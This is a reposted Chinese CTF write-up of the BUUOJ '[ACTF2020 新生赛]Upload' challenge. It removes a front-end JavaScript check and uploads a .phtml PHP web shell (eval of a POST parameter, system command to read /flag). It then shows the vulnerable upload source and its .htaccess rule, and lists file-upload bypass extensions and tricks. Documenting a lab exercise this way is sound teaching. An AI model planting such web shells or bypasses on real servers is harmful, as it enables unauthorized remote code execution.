码迷,mamicode.com
首页 > 其他好文 > 详细

[BUUOJ记录] [ACTF2020 新生赛]Upload

时间:2020-03-03 19:11:20      阅读:216      评论:0      收藏:0      [点我收藏+]

标签:pre   sys   def   extension   代码   常用   后端   mic   目录   

//简单的上传题,考察绕过前端Js验证,phtml拓展名的应用

打开题目点亮小灯泡后可以看到一个上传点

技术图片

 

传一个php测试一下:

技术图片

 

 

 发现有文件拓展名检查,F12发现是Js前端验证:

技术图片

 

 审查元素直接删掉,继续上传PHP文件测试:

技术图片

 

 发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下:

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language=php>@eval($_POST[ye]);</script>
<script language=php>system(cat /flag);</script>

再次上传:

技术图片

 

 

上传成功,获得Flag

技术图片

 

 

做完之后还在想是不是也可以通过其他拓展名来绕过,Shell连上之后看了下源代码和.htaccess文件发现这道题就是考察phtml的

上传点的源码如下:

<?php
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST[‘submit‘])) {
        $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
        $file_name = $_FILES[‘upload_file‘][‘name‘];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, [‘php‘, ‘php3‘, ‘php4‘, ‘php5‘])) {   //这里不出所料,过滤了常见的php文件拓展名
            exit(‘nonono~ Bad file!‘);
        }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . ‘/‘ . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = ‘Upload Failed!‘;
        }
        echo ‘<div style="color:#F00">‘.$msg." Look here~ ".$img_path."</div>";
    }


?>

再看看.htaccess文件:

<FilesMatch \.phtml$>
    SetHandler application/x-httpd-php
</FilesMatch>

 

最后总结一下CTF文件上传题中常用的php拓展名:

  • 利用中间件解析漏洞绕过检查,实战常用
  • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
  • %00截断绕过
  • php3文件
  • php4文件
  • php5文件
  • php7文件
  • phtml文件
  • phps文件
  • pht文件

晚点写一篇文件上传漏洞的总结吧,就这样,啥也不是。

[BUUOJ记录] [ACTF2020 新生赛]Upload

标签:pre   sys   def   extension   代码   常用   后端   mic   目录   

原文地址:https://www.cnblogs.com/yesec/p/12403922.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!